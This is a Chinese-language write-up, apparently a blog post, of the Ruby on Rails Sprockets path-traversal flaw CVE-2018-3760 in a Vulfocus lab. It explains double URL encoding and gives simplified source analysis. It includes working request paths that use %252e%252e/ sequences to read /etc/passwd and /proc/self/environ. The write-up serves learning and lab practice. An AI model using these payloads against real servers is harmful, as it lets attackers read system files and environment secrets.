rails-cve_2018_3760漏洞详解+源码分析vulfocus
本文参考技术文章:
https://qkl.seebug.org/vuldb/ssvid-97466
0x01 漏洞介绍:
名称: vulfocus/rails-cve_2018_3760:new 描述: Ruby On Rails 是著名的 Ruby Web 开发框架,它在开发环境中使用 Sprockets 作为静态文件服务器。Sprockets 是一个编译和分发静态资源文件的 Ruby 库。 Sprockets 3.7.1及更低版本存在二次解码导致的路径遍历漏洞。攻击者可以%252e%252e/用来访问根目录并读取或执行目标服务器上的任何文件。
0x02 知识点:
1.二次编码绕过
已知:
.的url编码是:%2e
%2e的url编码是:%252e所以:
上一级目录原本是:../
为了绕过我们改成:
%252e%252e/
2.简单了解RoR(ruby on rails)
笔者十分认同这个理念,还看了篇文章https://zhuanlan.zhihu.com/p/103633703
评论也有大佬在讨论,顺便纠正了文章一些错误
3.顺便了解Sprockets
如果网页里引用了 20 个 JS 文件和 10 个 CSS 文件,浏览器就得发起 30 次请求,这会让加载速度变慢。
而且,如果你用了 Sass 写样式,或者用 CoffeeScript 写脚本,浏览器读不懂。
Sprockets 的出现就是为了干这三件事:
合并(Concatenation): 把几十个小 JS 文件揉成一个大的
application.js,减少 HTTP 请求次数。预编译(Preprocessing): 自动把 Sass 变成 CSS,把 CoffeeScript 变成 JavaScript。
依赖管理: 只需要在文件开头写一行注释(比如
//= require jquery),它就能自动帮你把需要的文件找出来并排好先后顺序。---------------->
如何使用Sprockets?
def build_environment(app, initialized = nil) .... env = Sprockets::Environment.new(app.root.to_s) //env是sprockets引擎 ... env //返回env end ..... if config.assets.compile app.assets = self.build_environment(app, true) //app.assets就是sprockets库里面的Environment类的实例 app.routes.prepend do mount app.assets => config.assets.prefix end end ..... config.assets.prefix = "/assets" ....... app.routes.prepend do mount app.assets => config.assets.prefix //mount为挂载:意味着所有的/assets后面的内容都让app.assets解析 end凡是
/assets/开头的请求,全部交给 Sprockets 解析
0x03 exp
目标是:assets/file:///etc/passwd,访问得到
assets/file:%2f%2f/etc/passwd

发现可利用路径/usr/src/blog/app/assets/images/
进行二次绕过
/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

读取flag
/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/proc/self/environ
这里返回包里面可以能会显示空白,可能是靶场的问题,多开几次就欧克了

0x04 漏洞原理
这么好用的Sprockets怎么就产生漏洞了呢?
为了方便理解原理,一下代码进行了简化
文件一:server.rb(对..的过滤)
# server.rb
def call(env)
# 1. 第一次解码:将 %252e 解码为 %2e
path = Rack::Utils.unescape(env['PATH_INFO'].to_s.sub(/^\//, ''))
# 2. path 值为 ".../%2e%2e/%2e%2e/Windows/win.ini"
# forbidden_request过滤
if forbidden_request?(path)
return forbidden_response(env)
end
end
private
def forbidden_request?(path)
path.include?("..") || absolute_path?(path)
#因为我们被解码后值是%2e%2e,并不是”..“,所以没被发现
end
文件二:sprockets/path_utils.rb
# sprockets/path_utils.rb
def split_file_uri(uri)
# ... 略 ...
# 3. 第二次解码:
# 将上一步剩下的 "%2e%2e" 解码为 ".."
path = URI::Generic::DEFAULT_PARSER.unescape(path)
# 4. path 变成:"C:/.../assets/../../../../../../Windows/win.ini"
path.force_encoding(Encoding::UTF_8)
[scheme, host, path, query]
end
文件一:sprockets/loader.rb简化版
# sprockets/loader.rb
def load_from_unloaded(unloaded)
filename = unloaded.filename # 获取上面那个path
# 5. 寻找处理器:处理对应后缀的文件
processor = find_processors_for_extension(".erb")
if processor
# 6. 执行:如果找到了 ERB 处理器,会运行 erb 文件里 <% %> 之间的任何 Ruby 代码
render_asset(filename)
else
# 如果是 .ini,没找到处理器,就直接当成文本读取返回
read_file_directly(filename)
end
end
0x05 总结
app.assets 就是 Sprockets::Environment。
那么访问 /assets/file://... 时,由于是由Sprockets解析,请求实际上是给了app.assets,也就是Sprockets库里的Environment类所创建的实例。
这个实例在寻找资源时,会调用它内部的 find_asset 函数。
而 CVE-2018-3760 这个漏洞本质上就是: Sprockets::Environment 这个引擎在 find_asset 过程中,没能识别出经过双重编码处理后的穿越路径。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐





所有评论(0)